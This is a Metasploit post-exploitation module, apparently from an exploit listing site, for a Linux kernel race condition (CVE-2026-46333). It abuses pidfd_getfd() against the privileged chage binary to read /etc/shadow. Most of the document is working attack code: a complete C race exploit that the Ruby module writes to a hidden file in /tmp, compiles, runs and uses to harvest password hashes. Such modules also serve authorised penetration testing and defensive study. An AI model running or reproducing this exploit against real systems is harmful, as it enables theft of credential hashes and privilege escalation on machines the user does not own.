Share
## https://sploitus.com/exploit?id=MSF:POST-LINUX-GATHER-CVE_2026_46333_CHAGE-
##
# This module requires Metasploit Framework
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  include Msf::Post::File
  include Msf::Post::Linux
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Linux Kernel __ptrace_may_access() Exit Race chage File Disclosure',
        'Description' => %q{
          This module exploits a race condition in the Linux kernel
          do_exit() teardown path affecting __ptrace_may_access().

          During process termination, privileged file descriptors may
          remain accessible through pidfd_getfd() after task->mm becomes
          NULL, allowing sensitive file disclosure from privileged SUID
          binaries such as chage.

          This module targets chage to disclose /etc/shadow.

          This module performs information disclosure only and does not
          create a new session.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          '0xdeadbeefnetwork', # Original POC author
          'bhaskarbhar' # Metasploit module author
        ],
        'References' => [
          [ 'CVE', '2026-46333' ],
          [ 'URL', 'https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn' ]
        ],
        'Platform' => [ 'linux' ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'DisclosureDate' => '2026-05-14',
        'Notes' => {
          'AKA' => [ 'ssh-keysign-pwn' ],
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        }
      )
    )

    register_options([
      OptString.new(
        'WRITABLE_DIR',
        [ true, 'Writable directory for exploit compilation', '/tmp' ]
      ),

      OptInt.new(
        'RACE_ROUNDS',
        [ true, 'Number of race attempts', 500 ]
      )
    ])
  end

  def check
    version = kernel_release.to_s.strip

    if version.nil? || version.empty?
      return Exploit::CheckCode::Unknown(
        'Unable to determine kernel version'
      )
    end

    vprint_status("Detected kernel version: #{version}")

    unless command_exists?('gcc')
      return Exploit::CheckCode::Unknown(
        'gcc is missing; exploit cannot compile'
      )
    end

    unless file?('/usr/bin/chage')
      return Exploit::CheckCode::Unknown(
        'chage target binary not present'
      )
    end

    unless setuid?('/usr/bin/chage') || stat('/usr/bin/chage').setgid?
      return Exploit::CheckCode::Unknown(
        'chage does not appear to have SGID/SUID permissions'
      )
    end

    ptrace_scope = yama_ptrace_scope

    if ptrace_scope > 0
      vprint_warning(
        "ptrace_scope=#{ptrace_scope} may reduce exploit reliability"
      )
    end

    clean_version = version
                    .split('-')
                    .first
                    .split('+')
                    .first

    kernel = Rex::Version.new(clean_version)

    if kernel < Rex::Version.new('5.6.0')
      return Exploit::CheckCode::Safe(
        "Kernel #{version} is older than vulnerable range"
      )
    end

    if kernel >= Rex::Version.new('6.15.0')
      return Exploit::CheckCode::Detected(
        "Kernel #{version} may contain vendor backports or fixes"
      )
    end

    Exploit::CheckCode::Appears(
      "Kernel #{version} appears vulnerable to CVE-2026-46333"
    )
  end

  def exploit_source
    <<~EOF
      #define _GNU_SOURCE

      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      #include <unistd.h>
      #include <errno.h>
      #include <fcntl.h>
      #include <signal.h>
      #include <sys/syscall.h>
      #include <sys/wait.h>

      #ifndef __NR_pidfd_open
      #define __NR_pidfd_open 434
      #endif

      #ifndef __NR_pidfd_getfd
      #define __NR_pidfd_getfd 438
      #endif

      int main(int argc, char **argv)
      {
          int rounds = 500;

          if (argc > 1) {
              rounds = atoi(argv[1]);
          }

          for (int round = 0; round < rounds; round++) {

              pid_t child = fork();

              if (child == 0) {

                  int dn = open("/dev/null", O_RDWR);

                  dup2(dn, 1);
                  dup2(dn, 2);

                  execl("/usr/bin/chage",
                        "chage",
                        "-l",
                        "root",
                        (char *)NULL);

                  _exit(127);
              }

              int pidfd = syscall(__NR_pidfd_open, child, 0);

              if (pidfd < 0) {
                  waitpid(child, NULL, 0);
                  continue;
              }

              int stolen = -1;

              for (int attempt = 0;
                   attempt < 30000 && stolen < 0;
                   attempt++) {

                  for (int fd = 3; fd < 32; fd++) {

                      int s = syscall(__NR_pidfd_getfd,
                                      pidfd,
                                      fd,
                                      0);

                      if (s < 0) {
                          continue;
                      }

                      char path[256] = {0};
                      char linkpath[64];

                      snprintf(linkpath,
                               sizeof(linkpath),
                               "/proc/self/fd/%d",
                               s);

                      ssize_t n = readlink(linkpath,
                                           path,
                                           sizeof(path) - 1);

                      if (n > 0) {
                          path[n] = 0;
                      }

                      if (strstr(path, "/etc/shadow")) {

                          stolen = s;

                          fprintf(stderr,
                                  "[+] Stole fd %d -> %s\\n",
                                  fd,
                                  path);

                          break;
                      }

                      close(s);
                  }
              }

              if (stolen >= 0) {

                  char buf[8192];

                  lseek(stolen, 0, SEEK_SET);

                  ssize_t n;

                  while ((n = read(stolen,
                                   buf,
                                   sizeof(buf))) > 0) {

                      fwrite(buf, 1, n, stdout);
                  }

                  close(stolen);
                  close(pidfd);

                  waitpid(child, NULL, 0);

                  return 0;
              }

              close(pidfd);

              waitpid(child, NULL, 0);
          }

          fprintf(stderr,
                  "[-] Failed after all race attempts\\n");

          return 1;
      }
    EOF
  end

  def run
    checkcode = check

    if checkcode == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable,
                'Target does not appear vulnerable')
    end

    unless directory?(datastore['WRITABLE_DIR'])
      fail_with(Failure::BadConfig,
                'Writable directory does not exist')
    end

    base = ".#{Rex::Text.rand_text_alpha(6)}"

    c_path = "#{datastore['WRITABLE_DIR']}/#{base}.c"
    bin_path = "#{datastore['WRITABLE_DIR']}/#{base}"

    print_status("Writing exploit source to #{c_path}")

    write_file(c_path, exploit_source)

    register_file_for_cleanup(c_path)

    print_status('Compiling exploit payload')

    compile = create_process('gcc', args: ['-O2', c_path, '-o', bin_path], time_out: 120)

    vprint_status(compile) unless compile.nil? || compile.empty?

    unless file?(bin_path)
      fail_with(Failure::Unknown,
                'Exploit compilation failed')
    end

    chmod(bin_path, 0o700)

    register_file_for_cleanup(bin_path)

    print_status(
      "Launching race with #{datastore['RACE_ROUNDS']} attempts"
    )

    output = create_process(bin_path, args: [datastore['RACE_ROUNDS'].to_s], time_out: 30)

    if output.nil? || output.empty?
      fail_with(Failure::Unknown,
                'Exploit returned no output')
    end

    if output.include?('$')

      print_good('Successfully disclosed /etc/shadow')

      passwd_file = read_file('/etc/passwd')
      report_linux_hashdump(passwd_file, output)

      print_line
      print_line(output)

    else

      print_error(
        'Race attempts completed but no matching /etc/shadow file descriptor was recovered'
      )

      vprint_status(output)
    end
  end

end